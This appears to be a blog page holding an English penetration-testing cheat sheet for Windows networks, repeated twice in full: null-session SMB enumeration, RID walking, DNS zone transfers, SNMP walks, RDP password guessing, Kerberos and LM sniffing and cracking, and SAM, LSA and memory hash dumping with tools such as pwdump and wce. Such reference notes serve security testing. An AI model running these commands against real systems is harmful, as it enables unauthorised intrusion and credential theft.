- 浏览: 281162 次
文章分类
- 全部博客 (276)
- burp+hydra暴力破解 (1)
- kali linux工具集 (6)
- kali (59)
- linux (54)
- password (14)
- web (63)
- 渗透测试 (50)
- windows (40)
- metasploit (9)
- 信息收集 (32)
- burp suit (4)
- 安全审计 (9)
- https://github.com/secretsquirrel/the-backdoor-factory (0)
- nmap (4)
- arachni (2)
- 工具 (5)
- sql (3)
- 网络 (2)
- 后渗透测试 (10)
- 内网 (5)
- 无线 (2)
- C (3)
- bios (1)
- RoR (12)
- mongodb (1)
- linxu (1)
- gdb (1)
- linux,虚拟化 (1)
- python (4)
最新评论
netbios enum
1. net view /domain
2. net view /domain:coreone
Dumping the netbios name
1. nbtstat -A 192.168.1.1
Scan netbios name tables
1. nbtscan 192.168.1.1/24
Enum Windows Domain Controller
1. nltest /dclist:domainname
RPC enum
1. epdump servername
>> the key things to note are the "int" items which specify RPC interfaces, and each subsquence "binding" and "annot" entry. The binding specify the IP addr and the port number on which the RPC endpoint is listening. And annot of lists the common name of the endpoint.
2. rpcdump /s servername
>> the most useful information in the output is the internal IP address of multihome system, as well as virtual IP address hosted on the same server, which appears as RPC interface bindings. This data can give intruders a better idea of what kind of system they are dealing, including RPC application that are running.
SMB enum: null session
1. The SM specs include APIs that return rich information about a machine via TCP port 139 and 445, even to unauthenticated users.
net use \\192.168.202.33\IPC$ "" /u:""
a. with null session, we can enum shares on remote system
net view \\vito
rmtshare: generates output similar to net view.
srvcheck:displays shares and authorized user, including hidden shares, but it requires privileged access to the remote system to enum users and hidden shares.
srvinfo: -s parameter list shares along with a lot of other potentially revealing information.
b. enum trusted domain
nltest /server:servername /domain_trusts
can be used to learn about other windows domains with trust relationships to the first.
c. enum users
local administrators \\domain_controller
global "domain admins" \\domain_controller
d. all-in-one tools:
1. dumpsec
2. enum
3. nete
e. user2sid
user2sid \\192.168.1.1 "domain users"
f. sid2user
sid2user \\192.168.1.1 5 21 8915387 1645822062 18198280005 500
g. userinfo \\victim.com Administrator
used to enum user information over a null session
h. userdump \\mgmgrand guess 10
it enum the remote system SID and then "walks" expected RID values to gather all user account names. UserDump takes the name of a known user or group and iterates a user-specified number of times through SIDs 1001 and up. UserDump will always get RID 500 and it then begins at RID 1001 plus the maximum number of queries specified.
i. GetAcct
j. walksam 192.168.1.1
Windows DNS ENUM
1. dns zone transfers
>> nslookup
>> ls -d labfarce.org
SNMP enum with snmpputil
1. snmpputil walk 192.168.1.1 public .1.2.34.
2. SolarWinds Tools
ACTIVE DIRECOTRY ENUM
ALL-IN-ONE enum tools
1. winfingerprint
Since windows doesn't support logging on multiple credentials simultaneously in the same SMB namespace, we must log of any existing session to the target as follow:
net use * /d /y
If you have sessions open to multiple machines, you can close specific connections by explicitly nothing them in the request. Close a session with the computer \\victim
net use \\victim\ipc$ /d /y
Terminal Server Password Guess
1. tsgrinder 192.168.1.1
2. rdesktop -u Administrator -p credentials.lst 192.168.1.1
Sniffering Kerberos Authentication Using KerbSniff/KerbCrack
1. run the command to capture the packages
kerbsniff output.txt
crack the packages to extract the password
kerbcrack output.txt -d dictionary.txt
Sniffing LM Authentication
1. Lophcrack
2. ScoopLM/BeatLM
3. SUBVERTING WINDOWS AUTHENTICATION
1. SMB redirection
2. NetBios Spoofing--have a program listening for broadcast queries on port 137/UDP and replying with a positive name resolution with a IP address of the user's choice
3. MITM
Password Dumping
1 LSA Dumping
lsadump2
2. Recovering/Dumping Password from IE 7
nirsoft IE PassView
3. Accessing the Credential Manager
nirsoft NetWorkPasswordRecovering
4. Pulling Stored Password
5. Dumping SAM and AD Password
1. pwdump2 //working on local
2. pwdump3e.exe 10.1.1.5 //working on remote
If the access to dump credentials form the memory is restricted, one can also try to fetch both SAM and SYSTEM files from a backup directory(making a new copy with the old rdisk /s -). One such tool able to do this is pwhist.exe.
6. Dumping hash from Memory
wce
1. net view /domain
2. net view /domain:coreone
Dumping the netbios name
1. nbtstat -A 192.168.1.1
Scan netbios name tables
1. nbtscan 192.168.1.1/24
Enum Windows Domain Controller
1. nltest /dclist:domainname
RPC enum
1. epdump servername
>> the key things to note are the "int" items which specify RPC interfaces, and each subsquence "binding" and "annot" entry. The binding specify the IP addr and the port number on which the RPC endpoint is listening. And annot of lists the common name of the endpoint.
2. rpcdump /s servername
>> the most useful information in the output is the internal IP address of multihome system, as well as virtual IP address hosted on the same server, which appears as RPC interface bindings. This data can give intruders a better idea of what kind of system they are dealing, including RPC application that are running.
SMB enum: null session
1. The SM specs include APIs that return rich information about a machine via TCP port 139 and 445, even to unauthenticated users.
net use \\192.168.202.33\IPC$ "" /u:""
a. with null session, we can enum shares on remote system
net view \\vito
rmtshare: generates output similar to net view.
srvcheck:displays shares and authorized user, including hidden shares, but it requires privileged access to the remote system to enum users and hidden shares.
srvinfo: -s parameter list shares along with a lot of other potentially revealing information.
b. enum trusted domain
nltest /server:servername /domain_trusts
can be used to learn about other windows domains with trust relationships to the first.
c. enum users
local administrators \\domain_controller
global "domain admins" \\domain_controller
d. all-in-one tools:
1. dumpsec
2. enum
3. nete
e. user2sid
user2sid \\192.168.1.1 "domain users"
f. sid2user
sid2user \\192.168.1.1 5 21 8915387 1645822062 18198280005 500
g. userinfo \\victim.com Administrator
used to enum user information over a null session
h. userdump \\mgmgrand guess 10
it enum the remote system SID and then "walks" expected RID values to gather all user account names. UserDump takes the name of a known user or group and iterates a user-specified number of times through SIDs 1001 and up. UserDump will always get RID 500 and it then begins at RID 1001 plus the maximum number of queries specified.
i. GetAcct
j. walksam 192.168.1.1
Windows DNS ENUM
1. dns zone transfers
>> nslookup
>> ls -d labfarce.org
SNMP enum with snmpputil
1. snmpputil walk 192.168.1.1 public .1.2.34.
2. SolarWinds Tools
ACTIVE DIRECOTRY ENUM
ALL-IN-ONE enum tools
1. winfingerprint
Since windows doesn't support logging on multiple credentials simultaneously in the same SMB namespace, we must log of any existing session to the target as follow:
net use * /d /y
If you have sessions open to multiple machines, you can close specific connections by explicitly nothing them in the request. Close a session with the computer \\victim
net use \\victim\ipc$ /d /y
Terminal Server Password Guess
1. tsgrinder 192.168.1.1
2. rdesktop -u Administrator -p credentials.lst 192.168.1.1
Sniffering Kerberos Authentication Using KerbSniff/KerbCrack
1. run the command to capture the packages
kerbsniff output.txt
crack the packages to extract the password
kerbcrack output.txt -d dictionary.txt
Sniffing LM Authentication
1. Lophcrack
2. ScoopLM/BeatLM
3. SUBVERTING WINDOWS AUTHENTICATION
1. SMB redirection
2. NetBios Spoofing--have a program listening for broadcast queries on port 137/UDP and replying with a positive name resolution with a IP address of the user's choice
3. MITM
Password Dumping
1 LSA Dumping
lsadump2
2. Recovering/Dumping Password from IE 7
nirsoft IE PassView
3. Accessing the Credential Manager
nirsoft NetWorkPasswordRecovering
4. Pulling Stored Password
5. Dumping SAM and AD Password
1. pwdump2 //working on local
2. pwdump3e.exe 10.1.1.5 //working on remote
If the access to dump credentials form the memory is restricted, one can also try to fetch both SAM and SYSTEM files from a backup directory(making a new copy with the old rdisk /s -). One such tool able to do this is pwhist.exe.
6. Dumping hash from Memory
wce
发表评论
-
[图] windows 10
2015-08-18 20:37 294网上下载的图片,忘了来源 -
[转]Tunneling Data and Commands Over DNS to Bypass Firewalls
2015-07-13 20:44 464https://zeltser.com/c2-dns-tunn ... -
windows提权集合
2015-06-30 00:23 549https://blog.netspi.com/5-ways- ... -
[转]Access to every PC and become local Admin
2015-06-29 21:50 514原文地址:http://www.gosecure.it/blo ... -
[转]Top Five Ways SpiderLabs Got Domain Admin on Your Internal Network
2015-06-29 21:46 1507原文地址:https://www.trustwave.com/ ... -
[转]如何获得window管理员权限
2015-06-29 21:21 455引用A tutorial on how to get into ... -
Window提权基本步骤
2015-06-03 22:00 760原文地址: http://www.fuzzysecurity. ... -
[转]malware persistence
2015-05-06 23:46 392原文地址:http://jumpespjump.blogspo ... -
[转]backdoor a windows domain
2015-05-06 22:56 481原文地址:http://jumpespjump.blogspo ... -
[译]解密MSSQL密码
2015-03-26 00:43 2830原文地址: https://blog.ne ... -
[转]badsamba
2015-03-20 00:55 307原文地址:http://blog.gdssecurity.co ... -
自动化Man-in-the-Middle SSHv2攻击
2015-03-18 01:26 1025参考:http://www.david-guembel.de/ ... -
window增加硬盘性能方法
2015-02-05 01:03 339参考地址:http://way2h.blogspot.com/ ... -
[译]Skeleton Key Malware & Mimikatz
2015-01-28 20:29 782原文地址: http://adsecurity.org/?p= ... -
绕过PowerShell执行策略的15种方法
2015-01-28 02:27 870https://blog.netspi.com/15-ways ... -
[翻译]oledump: Extracting Embedded EXE From DOC
2015-01-04 22:40 922原文地址:http://blog.didierstevens. ... -
[工具]volatility----Windows内存取证
2015-01-04 22:01 1526下载地址:https://github.com/volatil ... -
[译]Windows提权:ahcache.sys/NtApphelpCacheControl
2015-01-03 21:12 1013原文地址:https://code.google.com/p/ ... -
[译]使用Volatility从memory dump获得密码
2014-12-30 12:27 3752原文地址:https://cyberarms.wordpres ... -
vmss2core将VMware镜像转换成memory dump
2014-12-26 23:59 0参考:http://kb.vmware.com/selfser ...
相关推荐
EXPOSED
Hacking Exposed Windows : Microsoft Windows Security Secrets and Solutions McGraw-Hill | December 4, 2007 | ISBN: B0010SGQQI | PDF | 451 pages | English | 9.05 MB Windows security with the exclusive ...
Hacking+Exposed+Linux
programming interviews exposed 面试经典
MGH Hacking Exposed Industrial Control Systems 英文PDF
Hacking Exposed Web Applications 英文无水印pdf pdf所有页面使用FoxitReader和PDF-XChangeViewer测试都可以打开 本资源转载自网络,如有侵权,请联系上传者或csdn删除 本资源转载自网络,如有侵权,请联系...
Programming Interviews Exposed: Leads you through the job search process, including the most effective techniques for employing LinkedIn and other social networks Teaches you the techniques you need ...
hacking_exposed_web_applications_3rd_edition
Hacking Exposed Industrial Control Systems 英文azw3 本资源转载自网络,如有侵权,请联系上传者或csdn删除 本资源转载自网络,如有侵权,请联系上传者或csdn删除
Internally, the Windows Runtime is based on COM (Component Object Model) with interfaces exposed through metadata files with the extension .winmd located in the /Windows/System32/WinMetadata ...
Secure Your Wireless Networks the Hacking Exposed Way Defend against the latest pervasive and devastating wireless attacks using the tactical security information contained in this comprehensive ...
内含阅读器 很详细的内容 物有所值 Today's world of computing and networking is filled with security- related threats. Although it is always wise to be skeptical about statis- tics, reasonable ...
Implement bulletproof e-business security the proven Hacking Exposed way. Defend against the latest Web-based attacks by looking at your Web applications through the eyes of a malicious intruder. ...
1 Hacking Exposed Malware and Rootkits 2 Hacking Exposed Webapplications 3 Hacking Exposed Network Security Secrets and Solutions 6th 第6版 4 Hacking Exposed Linux 3rd 第三版
/状态图标
java interviews exposed feb 2014 好书 不多说
描述如何通过钓鱼手段攻击客户端,不过文档是英文写的,需要耐心阅读,确实不错
programming-interviews-exposed, a good book
{100}晶面暴露TiO2纳米棒及光催化性能研究,王长华,张昕彤,本文以钛酸为前驱体,采用NaCl辅助水热法制备了{100}晶面暴露的TiO2纳米棒。 通过XRD,SEM,TEM等表征手段对样品的结构特性及生长机制进行了�